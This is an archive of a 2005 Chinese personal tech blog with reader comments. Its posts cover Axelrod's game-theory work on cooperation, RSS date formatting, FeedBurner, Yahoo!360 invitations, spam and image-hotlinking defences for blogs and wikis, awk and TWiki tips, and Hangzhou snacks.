三、艾克斯罗德的贡献与局限性艾克斯罗德通过数学化和计算机化的方法研究如何突破囚徒困境，达成合作，将这项研究带到了一个全新境界，他在数学上的证明无疑是十分雄辩和令人信服的，而且，他在计算机模拟中得出的一些结论是非常惊人的发现，比如，总分最高的人在每次博弈中都没有拿到最高分。（刘邦和项羽的战争）艾氏所发现的"一报还一报"策略，从社会学的角度可以看作是一种"互惠式利他"，这种行为的动机是个人私利，但它的结果是双方获利，并通过互惠式利他有可能覆盖了范围最广的社会生活，人们通过送礼及回报，形成了一种社会生活的秩序，这种秩序即使在多年隔绝，语言不通的人群之间也是最易理解的东西。比如，哥伦布登上美洲大陆时，与印地安人最初的交往就开始于互赠礼物。有些看似纯粹的利他行为，比如无偿损赠，也通过某些间接方式，比如社会声誉的获得，得到了回报。研究这种行为，将对我们理解社会生活有很重要的意义。囚徒困境扩展为多人博弈时，就体现了一个更广泛的问题──"社会悖论"，或"资源悖论"。人类共有的资源是有限的，当每个人都试图从有限的资源中多拿一点儿时，就产生了局部利益与整体利益的冲突。人口问题、资源危机、交通阻塞，都可以在社会悖论中得以解释，在这些问题中，关键是通过研究，制定游戏规则来控制每个人的行为。艾克斯罗德的一些结论在中国古典文化道德传统中可以很容易地找到对应，"投桃报李"、"人不犯我，我不犯人"都体现了"tit for tat"的思想。但这些东西并不是最优的，因为"一报还一报"在充满了随机性的现实社会生活里是有缺陷的。对此，孔子在几千年前就说出了"以德报德，以直报怨"这样精彩的修正策略，所谓"直"，就是公正，以公正来回报对方的背叛，是一种修正了的"一报还一报"，修正的是报复的程度，本来会让你损失5分，现在只让你损失3分，从而以一种公正审判来结束代代相续的报复，形成文明。但是，艾氏对博弈者的一些假设和结论使其研究不可避免地与现实脱节。首先，《合作的进化》一书暗含着一个重要的假定，即，个体之间的博弈是完全无差异的。现实的博弈中，对策者之间绝对的平等是不可能达到的。一方面，对策者在实际的实力上有差异，双方互相背叛时，可能不是各得1分，而是强者得5分，弱者得0 分，这样，弱者的报复就毫无意义。另一方面，即使对局双方确实旗鼓相当，但某一方可能怀有赌徒心理，认定自己更强大，采取背叛的策略能占便宜。艾氏的得分矩阵忽视了这种情形，而这种赌徒心理恰恰在社会上大量引发了零和博弈。因此，程序还可以在此基础上进一步改进。其次，艾氏认为合作不需预期和信任。这是他受到质疑颇多之处。对策者根据对方前面的战术来制定自己下面的战术，合作要求个体能够识别那些曾经相遇过的个体并且记得与其相互作用的历史，以便作出反应，这些都暗含着"预期"行为。在应付复杂的对策环境时，信任可能是对局双方达成合作的必不可少的环节。但是，预期与信任如何在计算机的程序中体现出来，仍是需要研究的。最后，重复博弈在现实中是很难完全实现的。一次性博弈的大量存在，引发了很多不合作的行为，而且，对策的一方在遭到对方背叛之后，往往没有机会也没有还手之力去进行报复。比如，资本积累阶段的违约行为，国家之间的核威慑。在这些情况下，社会要使交易能够进行，并且防止不合作行为，必须通过法制手段，以法律的惩罚代替个人之间的"一报还一报"，规范社会行为。这是艾克斯罗德的研究对制度学派的一个重要启发。

注：没有找到文章出处，请知情者提供线索。

💬 历史评论

以下 62 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

6e · 2005-04-13 08:30

博弈论的规则在数学上也许可以用决策树(Decision Tree)来解释，根据每一步的概率计算各种最终出现的情况的概率，从而能够选择对自己利益最佳的。

FeedBurner: 使用RSS路由器的风险

Tue, 12 Apr 2005 11:41:53 +0800

如果你日常使用Del.icio.us这样的书签进行Link Blog，同时又使用MT，WordPress这样的工具进行网志，使用FeedBurner的确是一个很方便的工具：他可以帮你将各种RSS数据源聚合起来并“烧制”成一个汇总后的FEED。从这些角度讲：FeedBurner是一个RSS的缓存/路由器和聚合器。

我看到很多朋友都将自己的RSS转向到汇总后的FeedBurner：就是FeedBurner会逐渐让分散的BLOG FEED再次集中化。但只要是集中化的服务就会带来这样的潜在危险：如果FeedBurner出现连接问题，很多BLOG和订阅者之间的连接都会收到影响。

今天还发现FeedBurner将发布的链接全部变成了转向链接，可能是用于针对用户的统计吧。我个人还是非常讨厌点击转向统计的：FeedBurner的转向环节也增加发布者和用户之间连接失败的风险。因此还是建议FeedBurner用户：至少要保留一个原始的RSS接口，比如我：就需要一个不包含你每天del.icio.us收藏的接口。

2005-04-12 今天删除了Lilina订阅上所有使用FeebBurner的数据源。

2007-08-30 feeds.FeedBurner.com在国内无法访问；

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

大脑袋 · 2005-04-13 22:05

1、使用任何服务商提供的服务都会有风险。我恰恰以为，越多人使用，风险越少；

2、通过Feedburner烧制的RSS中，仍然包含了该RSS所属网站的链接。也就是说，即使FeedBurner坏了，用户仍然可以通过早先订阅的文章到达网站本身；

3、点击转向是一个可选的功能，而且，如果已经选择了FeedBurner的服务，再多这个功能我看不出有什么坏处。

Ben · 2005-11-03 11:17

“今天还发现FeedBurner将发布的链接全部变成了转向链接” 这是可选的功能，默认是disable.

WordPress的中文RSS FEED日期问题：不符合rfc 822的星期

Mon, 11 Apr 2005 00:26:59 +0800

今天用Lilina订阅 http://in.comengo.net/index.php/feed/的时候发现一个RSS日期问题：RSS规范要求日期必须为rfc 822格式，而http://in.comengo.net/index.php/feed/是基于WordPress的后台吧：由于本地化的设置，日期的星期变成了中文：五, 01 Apr 2005 16:38:03 +0000 会导致RSS解析器的时间解析失败。最终不得不放弃了这个站的订阅，否则这个网站所有文章全部变成最新发表而排在Lilina的最前面。

BlugBus的RSS也有类似问题：他们的RSS时间字段没有标记时区，+0800 因此发布后，缺省会认为是格林威治时间。导致比实际发布时间快8个小时：明明是当天早上8点发表的，显示发布时间却是未来：下午4点（16点）。

Machine Friendly, 你的BLOG做到了吗？

2005-05-29 陆续帮助未完成和ilya完成了WordPress的FIX，轮到桑林了：

现在又有问题了：显示是周日早上8点发布 08:15 师兄怎么翻译 ? 桑林志与外国人聊天时，很多东西是很难表达的，比如说：师兄/师弟，英语没有对应的词儿。Google到这里有人对师兄/师弟如何翻译的说明。结论是只能用这样的句子来说明： “students who share the same major as mine but are senior/junior to me.” 里面说到，为何中国有这个词，而国外没有（至少英语国家），可能和教育体制有关系。但我觉得产生这样的不同的原因可能要更基本一点，文化层次。

车东

附：我帮助 ilyagram.org 解决FEED问题的日志

我订阅的是：http://ilyagram.org/feed/

请注意：pubDate时间
中日外交衝突備忘 http://ilyagram.org/archives/1633.html http://ilyagram.org/archives/1633.html#comments Wed, 25 May 2005 09:32:44 +0000 <===看pubDate时间
pubDate的时间应该为：Wed, 25 May 2005 09:32:44 +0800就对了。

效果可以看一下我网站的首页：http://www.chedong.com/ 你的文章总是高高在上啊 ^_^ 刚才那篇显示为今天17:32 发表。

谢谢

车东

ilya eric lee 写道:

利用RSS订阅增加天气预报

Wed, 30 Mar 2005 15:47:01 +0800

今天查杭州的天气，发现连天气预报网站都提供了RSS：Weather Underground: Hangzhou, Zhejiang Forecast，可惜摘要信息阅读不是很方便。不过这样也可以通过Lilina的RSS订阅在自己的主页上增加天气预报了。

不过还是有些不足： 1 输出的信息不全：只有当前的温度/湿度等； 2 输出的信息是英制的，不想WEB页一样可以设置公制/英制。

Add RSS的接口是越来越丰富了：

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

SUN · 2005-03-31 20:23

从一个讨论webhosting的页面连到你这里来的吧。还不错哦。不过主页上的文章斯似乎多了些，要能分开两页就更好了～

Google收购Urchin

Wed, 30 Mar 2005 11:49:20 +0800

Urchin Web Analytics software and on demand services：Urchin的产品线中很重要的一个是日志分析产品： Urchin 6 is a new approach to web analytics. One which looks at the entire online process of attracting and converting visitors and retaining customers. Each Urchin 6 report is designed to give you the specific information you need to help visitors find you online, navigate your website, convert into customers, and keep coming back. Urchin 6 On Demand starts at $495/month.

Yahoo!360邀请

Wed, 30 Mar 2005 10:37:02 +0800

如果谁需要请给我发邮件我的雅虎邮箱/YID是: chedong

很高兴和大家共享：但务必附上以下调查表 1 真实姓名： 2 个人简介： 3 怎么知道这个网站的？

算是顺便做一下用户调查吧，保证不会将您的信息用于任何商业用途。白天比较忙，可能晚些时候给大家发来邀请，务必耐心等待。

如果我自己的360邀请快不够用了，我会请其他朋友邀请各位的。如果各位加入后也愿意分享邀请，也请发表一篇类似的blog，请BackTrack Ping一下这篇文章：，或者在告知我你们的blog文章的地址，我附在这片文章后面，列作：其他Yahoo!360分享

更简单的：在自己的文章中加个CamelWord: Yahoo360Share 通过[Yahoo360Share]这个标记让大家可以通过搜索引擎直接找到更多 :)

谢谢

其他Yahoo!360分享 Ray Ren

这里也说说我对这种Social Networks服务的看法：利用邀请，人为造成一种“稀缺”感也许能造成大量的用户注册和病毒式传播。我注册过Orkut，注册过Hi5，但大量这样的服务到了最后都会面对这个问题：用户来了，朋友也注册了：然后他们做什么？相比之下： LinkedIn是我觉得最有价值的服务。虽然上去的机会并不多，但是的确都是非常有价值的人际关系。

希望Yahoo!360不仅仅是利用注册造成短时间内的传播，更重要的还是能让用户经能日常使用，成为用户自己的知识管理和社会关系管理的平台。

这还是Yahoo第一次对外使用E-Mail方式进行注册登录，看来E-Mail做为一个相对开放的UUID注册标准变得越来越流行。

2005-04-06 今天才发现360的邀请要一个月以后才过期，而且期间无法删除这些邀请。所以要5月份后再给大家发邀请了

2005-06-07 恢复邀请经过最近几个月的使用，的确感觉Yahoo 360比space.msn更适合做个人门户

💬 历史评论

以下 53 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

james.liu · 2005-03-30 10:51

我想尝试下

hai · 2005-03-30 11:09

能给我发一个么？非常感谢了！tainetang@yahoo.com.cn

sheepzm · 2005-03-30 11:13

非常希望能得到一个邀请，谢谢。sheepzm@gmail.com

andy · 2005-03-30 11:26

头一个，找不到email，只能在这里发贴了。。。

PengHui · 2005-03-30 11:29

1 姓名：PengHui 2 年龄：25 4 个人简介：Java开发人员，现在在某SN网络公司工作 3 怎么知道这个网站的？通过各位blogger大侠知道的

利用Google Groups配置留言簿：注意防止SPAM

Tue, 29 Mar 2005 15:48:07 +0800

最近Google Groups的浏览已经提供了中文界面，用来做自己的留言簿绝对是一个很不错的主意，留言直接可以发送到创建者的GMail邮箱中，可以很方便的在GMail中进行消息跟踪和留言回复，同时又公开发布在Google Groups上。

但是最近也发现了很大的一个问题就是SPAM：由于Google Groups本身就是通过邮件和Groups界面2个途径进行提交。一方面很多垃圾邮件制造者可以方便的获得相应的邮件列表（转发）地址发送垃圾邮件，另外一方面Google Groups是可以设置为对外公开发布的：大量的WEB SPAM会利用这个CMS制造反相链接。

所以最重要的就是将提交由缺省的自动发布改成需要管理员批准： 目前(2005-03-29)Google Groups的后台管理界面还是英文。

随着互联网内容的爆炸：内容越丰富，用户越是依赖“权威”去进行快速定位，搜索引擎越来越凸现其互联网内容的“路由器”的重要性。因此Spammer对搜索引擎排名算法所倚重的反相链接的渴求达到了日益疯狂的地步，只要是能产成被spider发现的链接的地方，都会有被SPAM的可能性。

做为一个简单的交互型CMS：Google Groups的管理机制虽然可能稍微复杂了一些，但是绝对是有必要的，如果没有这些发布的控制：留言簿很容易变成一个“公共厕所”。

面对目前Web Spam病毒式的爆发，所有的内容发布系统都必须面对的SPAM问题，相关资料整理如下：

如果要架设WIKI协作写作：一定要先了解一下什么是Chongqed；如果要利用MT架设BLOG：那么收到Comments/Backtrack ping SPAM几乎是必然的，对付这种SPAM要考虑一下mt-blacklist；如果公开网站的AWStats日志统计：一定要做好SPAMMER发送假referer spam的准备，在对外公开的日志统计中产生反相链接也是这些SPAMMER的目标。而SPAM在一般的留言簿/BBS中更是常见，不让这些SPAM获得需要的反相链接有2个途径： 1 将不受控制的内容发布变成批准后发表； 2 在可能产生对外链接的URL代码中：增加ref=“nofollow"属性，告诉搜索引擎的spider不要跟踪这些未经认可发布的链接；

如果你自己是一个搜索引擎怎么办：对所有可能产生不能控制的对外链接的地方，如搜索结果页，链接中都要增加nofollow属性，并在robots.txt中设置禁爬。

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

祖 · 2005-12-20 13:49

看到你叶子里的lilina文章自己也安了个 http://exj-lab.com/marketing/ 希望能继续读到你的文章谢谢

Fill · 2005-12-27 11:39

每天读一些车东的文章，学习google和搜索。

fill · 2005-12-27 11:43

昨天看了很多论坛和blog，很多网站虽然使用了静态页面链接，但内部文章大体上称不上专业，都是生活琐事，也就谈不上互相链接引用。你的文章因为有专业相关性，所以可以链接的像msdn。

最著名的哦一狗 · 2005-12-27 20:38

。+ * " “.+ * ˚。 :。”.+.. 。 “..+ “..Happy A NEW YEAR!.. + “.。 ♥〃´) 新年快乐 !".+。 *:.+。 *+。 "★.+ 　 ,·´ ¸,·´) “.+。 :.+。”.+。 :.+ “★.+。　(¸,·´ (¸＊..〃´) ".+。 *:.+。 "。,·´ ¸,·´) “.+。 ”.+。 * :.+。 “.+　(¸,·´ 　 (¸＊♥ 。‘ㅇ’☆’’。。.。’☆。。‘ㅇ.☆.。’..。。..。‘ㅇ’。 .。’☆。’ 福福福福福’☆。.ㅇ福福福福福 .。’☆。’ . 。’ ‘福福福福福福福福福☆福福福福福福福福福 .。’ ’ ‘’。☆福福福福福福福福福福福福福福福福福福福 ‘’。☆ .。福福福福福福福福福福福福福福福福福福福福福 .ㅇ ‘☆ 福福福福福福福福福福福福福福福福福福福福福 .。 .ㅇ福福福福福福福福福福福福福福福福福福福福福’’☆ ‘’☆福福福福福福福福福福福福福福福福福福福福福.☆. .☆. 福福福福福福福福福福福福福福福福福福福福.ㅇ ㅇ’.. 福福福福福福福福福福福福福福福福福福福。’’☆ 。’’☆’’。福福福福福福福福福福福福福福。’。’☆’’。 。..。‘ㅇ’.。福福福福福福福福福福福 。..☆。‘ㅇ’.。 ☆’’。。.。‘ㅇ. 福福福福福福福 ☆’’。..。。.。‘ㅇ ‘’。。.。’☆。’☆。福福福福 ‘’。。.。’☆。’☆。 .☆.。’. .。。. .。‘ㅇ’。福 .☆.。’..。..。。..。‘ㅇ’ 。‘ㅇ’☆’’。。.。’☆。。‘ㅇ.☆.。’..。。..。‘ㅇ’。 ..☆。..。’. .。‘Happy A NEW YEAR .。☆ 。。ㅇ. ..☆。..。..’. .。新年快乐! 。. ..*。☆。*ㅇ.

杭州地方小吃

Mon, 21 Mar 2005 10:18:20 +0800

虾爆鳝面

烹调时，选用粗壮的鲜活黄鳝，斩头截尾剔骨后切成鳝片，用素油爆，荤油炒，麻油浇，直至鳝片黄脆；取鲜活大河虾洗净加蛋清上浆清炒至白嫩；精制面条下锅烧后，不粘不糊；用原汁煮面，使面条吸入鳝鱼的香味，汁浓面鲜。虾爆鳝面为奎元馆的宁式名面。

片儿川面

片儿川面是杭州奎元馆的名点，也是杭州的风味小吃。烹调时，选用瘦猪肉片，配以笋片和雪菜，与面条同烧而成。此面肉片鲜嫩，雪菜笋片色泽翠白分明，食之味美爽口。

知味小笼

杭州知味观的风味小吃。烹调时，选用发酵精白面粉作皮，用鲜肉，或鲜肉拌虾仁，或鸡肉拌火腿末作馅，在馅料中加入肉皮汤冻，包好后放入特制小蒸笼用急火蒸制而成，分别称为鲜肉小笼、虾肉小笼、鸡火小笼。这些包子汁多香鲜，皮薄滑韧，口味各异。

猫耳朵

猫耳朵是杭州知味观的传统风味小吃。用500克的精白面粉可制成900多个面瓣，再配上鸡丁、火腿丁、香菇、干贝、笋片等作料烹制而成。该小吃面瓣形如“猫耳朵”，十分精巧，火腿丁像玛瑙，鸡丁似琥珀，汤鲜味美，十分可口。

南方迷宗大包

选用精白面粉经发酵后作皮，用猪前腿鲜肉、肉皮汤冻（或用豆沙或用麻心或用青菜）等做馅包成后上大笼用急火蒸制。一般500克面粉只能做9只大包。它吸取南北方各种包子的特点，由于它无宗派，故称迷宗大包。迷宗包子洁白饱满，吃口松软，富有弹性，价廉物美，实为快餐中的佼佼者。

吴山酥油饼

以精白面粉为原料，加入食油，和成油面，经造型入油锅炸成。食时，加上细绵白糖。成品起酥，层层叠叠，色泽金黄，脆而不碎，油而不腻，又香又甜，入嘴即化。此饼为吴山一带特产，相传清乾隆皇帝游吴山时曾品尝过。民间称它为“吴山第一点”。

葱包桧

杭州风味小吃葱包桧有一个有趣的典故。公元1142年，民族英雄岳飞以“莫须有”的罪名被害于临安大理寺，杭州百姓十分痛恨秦桧夫妇。相传有一天，杭州有一家卖油炸食品的业主，捏了两个人形的面块比作秦桧夫妇，将他们揿到一块，用擀面杖一压，投入油锅里炸，嘴里还念道：“油炸桧”吃。这就是油条的来历。后来在此基础上发展为杭州风味小吃——葱包桧。制作时，选用精白面粉制成春卷皮（或叫薄饼）再裹上油条、葱段，在平底锅上反复压扁，直至烘烤到金黄色，再抹上辣酱或甜面酱即成。（陈昌喜摘自2004年11月10日《中国老年报》，小吉文）

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Celia Pan · 2005-03-22 23:20

我喜欢你的"良好引用，良好结构，良好导航 Well referenced and well organized, with easy navigation", 不仅是S.E., 放之四海皆准啊

回复：Celia Pan 没错，:) 这句话是我学习WIKI发布系统时知道的，真正做到还是很难的。WIKI和BLOG都是良好引用，良好结构，良好导航的典范。

Something's gonna change my world

Sun, 20 Mar 2005 03:01:40 +0800

读到：水木清华BBS的关闭与以往的BBS岁月，想起了前一阵海啸义演时众歌星唱的那首"Across the Universe":

words are flowing out like endless rain into a paper cup, they slither(1) while they pass, they slip away across the universe pools of sorrow, waves of joy are drifting through my opened mind, possessing and caressing me. jai guru de va om nothing’s gonna change my world,nothing’s gonna change my world, nothing’s gonna change my world.nothing’s gonna change my world,

images of broken light which dance before me like a million eyes, they call me on and on across the universe, thoughts meander(2) like a restless wind inside a letter box they tumble(3) blindly as they make their way across the universe jai guru de va(4) om nothing’s gonna change my world,nothing’s gonna change my world, nothing’s gonna change my world.nothing’s gonna change my world,

TWiki简明语法速查

Thu, 17 Mar 2005 18:45:46 +0800

WIKI是一个开放的自维护发布平台，任何人可以编辑任何文档和结构

简要的语法备忘如下：

如何新建TWIKI页面 ================= 建立新入口的方法就是建立一个CamelWord 就是2个大小写交错的关键词：比如 CheDong 如果这个节点不存在，TWIKI就会有一个可以点击的"?"，点击这个"?"，就会出现这个页面的编辑入口，保存后，这个节点就创建了。同样的：如果其他页面中引用了这个关键词，页面上会自动生成一个指向相应TAG的链接。如何插入链接 ============ 最简单的：直接把链接输入，TWIKI自动会把它变成链接。如果链接是以 .jpg .gif .png结尾的，twiki会自动将其变成图片。如果需要自己定义链接的标题： [[http://www.example.com/][标题]] 如果是指向TWIKI内部链接：可以直接写 CamelWord [[CheDong][标题]] 如何列表缩进 ============ * 3个空格加* * 6个空格加* * 9个空格加* 如何编号缩进 ============ 1 3个空格加1 1 6个空格加1 1 9个空格加1 如何设置标题 ============ ---+ 顶级标题 ---++ 2级标题 ---+++ 3级标题如何创建表格 ============ 就是用竖线将不同字段分割开： "|" 样例 | *name* | *age* | | Tom | 10 | | Jerry | 10 |

如何用wiki写blog：

创建一个：ExampleBlog

—+ 日常备忘

Google的个性化新闻：可再发布的搜索订阅

Sun, 13 Mar 2005 00:43:13 +0800

用户可以发布自己在Google新闻上的个性化搜索订阅：这个功能也是我一直希望Add RSS to My Yahoo!服务能够提供的功能：针对个性化的再发布，方便用户进行信息聚合值后再他人分享。

其他相关文章：Customize Google News… Why?

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ccton · 2005-03-14 01:35

车东啊，你说得轻巧，google那东西好是好，点什么都是404 :(

交个朋友？我在csdn上写这个的时候，一直就在琢磨你的大名。 http://community.csdn.net/Expert/topic/3721/3721107.xml?temp=.3308374 当然我认为目前你不大可能有什么兴趣，也许聊聊也没什么坏处？

邮件地址请拿掉下划线。

开发RSS2.0接口注意：时间字段必须是rfc 822格式

Sat, 12 Mar 2005 23:42:52 +0800

最早开发WebLucene时：RSS 2.0数据输出的时间字段是ISO格式：2004-12-25 21:48:09 因此有的RSS解析会出错。正确的应该是这种格式： Sun, 26 Dec 2004 21:48:09 +0800

查了一下，原来这种时间格式是：rfc822标准，例如 Thu, 21 Dec 2000 16:01:07 +0200

php中有date函数可以非常方便的实现转换： date(“r”, $rs[“PubTime”])

BlogDriver/BlogChina/BlogBus的RSS原来都有这个问题，有些已经解决了，而BlogCN目前甚至连时间字段都没有……从遵守规范的不严格可以看出，RSS其实还没有被大规模的用起来。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

andy · 2005-03-13 13:37

是的，我以前做TXNA时就发现国内的那几个blog的日期不是这样的：Sun, 26 Dec 2004 21:48:09 +0800而是星期日, 26 十二月 2004 21:48:09 +0800，显然local用zh_CN的了，其实该用en。现在根本不关心他们了。BlogCN是没日期，以前我聚合一个朋友在blogcn的blog,我说你那blog的rss没日期，我聚合多个blog，按时间排序，你的没有，所以你的只能排在最后面或最前面。

1047片玻璃

Fri, 11 Mar 2005 23:39:15 +0800

日本丰田汽车公司在经营管理上有一个十分著名的例子，即经营中的“0库存计划”，他们把汽车的生产数量精确到个位数。他们认为“所谓的安全存量实际上是一种借口”，是管理上的浪费。所以他们的各类计划报表将汽车的生产量精确到个位，如生产和销售汽车1047部，就要求供应商提供汽车玻璃1047片，要求轮胎供应商提供1047套轮胎等等。丰田汽车的供应商有200多家，但是丰田不会多订一片玻璃，一个轮胎。在送货的时候，200多家供应商送货时间准确到1分钟以内，这些零部件送到丰田公司以后甚至不用进入仓库，直接进行及时作业、及时生产，因此有效节约了成本。这种精确周密、高效的经营理念正是丰田之所以在激烈的竞争中立于不败之地的根本原因。

只有可量化的，才是可管理的。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Marc · 2005-03-11 23:51

I read this before, but not so much impressed by such numbers. U do!

回复Marc：我也是看了别人的文章，引用了这段，就直接搜索了一下“1047片玻璃”。此外：最近还查了一下什么是“潜水艇三明治”，原来就是潜水艇一样的三明治：2片厚面包夹着的那种。

WebLeOn · 2005-03-12 04:00

这的确是日本人发明的一种生产管理方式"just in time"，在理想化的生产过程中可以降低成本。在中国不太现实啊.

Platinum · 2005-03-15 10:35

不进库房可以理解，据说 dell 也是这么干，可没有冗余备份？印刷品还允许 0.02% 的错字呢，所有零部件都从来没有过任何毛病？

autumnleaf · 2005-03-16 18:42

很抱歉地跑跑题。第一次看见“潜水艇三明治”这个词，觉得可能是subway牌三明治，于是使劲google一番。终于知道原来潜水艇三明治可能有两个出处，第一个是台湾习惯，泛指submarine sandwich，第二个好象也是台湾习惯，专指subway这个三明治店。当然subway卖的大部分三明治也都是submarine sandwich。然后另外一个非常常见的搜索结果是引用黄仁宇先生的回忆录中说[中国是“潜水艇三明治”，上层是没有明显差异的庞大官僚体系，底层是没有明显差异的农民。]。这一段中的潜水艇三明治显然是submarine sandwich。写这么一段专门给（如果有）象我一样经常被自己好奇心杀死的人。因为对google的搜索结果这一番分析也花了几分钟。。。

回复autumnleaf：是的，我是看黄仁宇先生的《黄河青山》和《万历十五年》看到的这个比喻：只不过现在看到的“潜水艇三明治”其中间层越来越丰富了，这个比喻可能不像以前那么贴切了，如果比作大学食堂的包子可能更容易理解一些 :-P

awk: 计算一列数字的sum

Fri, 11 Mar 2005 16:09:41 +0800

用awk命令计算文件中某一列的总和： awk ‘BEGIN{sum=0}{sum+=$1}END{print sum}’ data.txt

比较完整的一个例子： awk -F ‘,’ ‘BEGIN{sum=0 ;count=0}{if ($(NF-11) == 2 && $NF == 0 && $3 == “1.6.1_1_1”) {sum +=$5; count++;} } END {print “sum=“sum” count=“count " avg=“sum/count}’

说明： BEGIN{sum=0 ;count=0} 初始化计数器； END {print “sum=“sum” count=“count " avg=“sum/count} 打印汇总，计数器和均值； if ($(NF-11) == 2 && $NF == 0 && $3 == “1.6.1_1_1”) {sum +=$5; count++;} 判断倒数第11个字段，判断倒数第一个字段，判断第三个字段（字符串）第五个字段汇总累加，计数器累加

很久以前看到gawk手册：从很多计算机术语的使用来看估计出处是台湾。

GAWK手册第一章前言第二章简介第三章读取输入档案第四章印出第五章 Patterns 第六章算式(Expression)作为Actions的叙述第七章 Actions里面的控制叙述第八章内建函数(Built-in Functions) 第九章使用者定义的函数第十章例子第十一章结论

遭遇图片盗链：wiki成了色情网站的图片服务器

Fri, 04 Mar 2005 20:00:45 +0800

面对疯狂的TrackBack Ping Spam，我最近不得不已经停止了自己BLOG上所有的接收BackTrack Ping功能，并启用了评论的mt-blacklist；而这个月日志统计中也看到了很多莫名其妙的referer spam，不得不将AWStats加上了http认证，防止spider顺着日志统计报表爬到那些网站上去。

今天又遇到WIKI的文件上传盗链，自己网站成了色情网站的图片服务器。

当时情况记录如下：后台服务器下午2点左右出现了380的高负载，我中间不得不重新启动一次了机器：重启后发现服务器负载仍然非常高。mysql出现了：‘Too many connections’错误，奇怪，平时数据库请求是很少的啊？在apache服务器error_log日志中找到了异常多的wiki的文件下载请求。由于wakka的每次图片下载都需要经过数据库请求，导致数据库连接数饱满。

后来查看apache日志，通过referer看到这些请求都是来源于一个色情网站的论坛中，沿着wiki的uploade目录找下去：看到了4,5个200k以上的图片（上传时间是下午1点16分前后）。

被引用的页面的代码如下：

![](http://www.chedong.com/wiki/UploadFile/files.xml?action=download&file=07.jpg)
![](http://www.chedong.com/wiki/UploadFile/files.xml?action=download&file=13.jpg)
![](http://www.chedong.com/wiki/UploadFile/files.xml?action=download&file=22.jpg)
![](http://www.chedong.com/wiki/UploadFile/files.xml?action=download&file=28.jpg)
结论：必须关闭一切可能的未经认证的内容发布，Spammer是无孔不入啊……其实被别人上传文件以前也发现过，但是当时没有引起重视并即时删除：一旦爆发，就产生了非常大的危害，再次证明了“破窗效应”：犯罪是以几何级数传播的，勿以恶小而纵容之。

再次提醒大家一定要：防微杜渐。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

虫子 · 2006-12-22 15:48

不错, 有收获.

MT BlackList 2.x安装和Storable.pm平台兼容性解决

Thu, 24 Feb 2005 21:48:09 +0800

2005-02-24 Blacklist的很多数据都是使用Hash数据结构，当进行从FreeBSD平台到Linux平台的迁移时：有可能产生平台兼容性问题： Byte order is not compatible at blib/lib/Storable.pm (autosplit into blib/lib/auto/Storable/thaw.al) line 363 …

解决的方法就是除了清空mt_ext_bl_*这些表以外：还要清空 mt_plugindata这个表中和Blacklist相关的数据，然后重新初始化Blacklist。

**MT BlackList下载: ** 在www.jayallen.org/projects/mt-blacklist下载相应版本：注意：MT BlackList 2.x目前不支持Windows服务器版本 MT BlackList 2.x安装：解包后的文件需要按照静态文件和程序2部分分别上传，解包后的文件和对应的复制目录附后 安装完成后的初始化和配置：

解包后的文件和安装目标目录的对应：静态文件包括CSS，JavaScript，图片： /mt-blacklist-styles.css /mt-blacklist.js /images/ ==> STATIC_DIR/mt-blacklist-styles.css ==> STATIC_DIR/mt-blacklist.js ==> STATIC_DIR/images/Blacklist ==> STATIC_DIR/images/Blacklist/nav-blacklist.gif ==> STATIC_DIR/images/Blacklist/nav-blog.gif ==> STATIC_DIR/images/Blacklist/nav-configure.gif ==> STATIC_DIR/images/Blacklist/nav-despam.gif ==> STATIC_DIR/images/Blacklist/nav-inbox.gif ==> STATIC_DIR/images/Blacklist/nav-log.gif ==> STATIC_DIR/images/Blacklist/nav-manual.gif ==> STATIC_DIR/images/Blacklist/nav-plugin.gif ==> STATIC_DIR/images/Blacklist/nav-subscriptions.gif

后台程序都在plugins目录下：==> /plugins/ ==> MT_DIR/plugins/Blacklist ==> MT_DIR/plugins/Blacklist/Blacklist.pl ==> MT_DIR/plugins/Blacklist/lib ==> MT_DIR/plugins/Blacklist/lib/Blacklist ==> MT_DIR/plugins/Blacklist/lib/Blacklist/App ==> MT_DIR/plugins/Blacklist/lib/Blacklist/App/CMS.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/App/Submission.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/App.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Group.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/GroupMap.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Item ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Item/Regex.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Item/String.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Item/URLPat.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Item.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Log.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Permission.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Plugin.pm ==> MT_DIR/plugins/Blacklist/lib/Blacklist/Util.pm ==> MT_DIR/plugins/Blacklist/mt-bl-load.cgi ==> MT_DIR/plugins/Blacklist/mt-blacklist.cgi ==> MT_DIR/plugins/Blacklist/schemas ==> MT_DIR/plugins/Blacklist/schemas/Blacklist_schema.mysql ==> MT_DIR/plugins/Blacklist/schemas/Blacklist_schema.postgres ==> MT_DIR/plugins/Blacklist/schemas/Blacklist_schema.sqlite ==> MT_DIR/plugins/Blacklist/tmpl ==> MT_DIR/plugins/Blacklist/tmpl/add_ite

Google的中文相关搜索提示

Thu, 17 Feb 2005 13:17:27 +0800

截图如下：和其他搜索引擎的相关关键词不同： 1 Google的相关搜索并非完全依赖搜索次数，第2行的关键词是根据抓取的新闻中的突发热门关键词的相关关键词出现频度，不一定字面上相关； 2 相关搜索关键词提示并非在所有的查询中都会出现，目前看来主要是针对含2，3个中文字的中文查询有相关关键词提示；
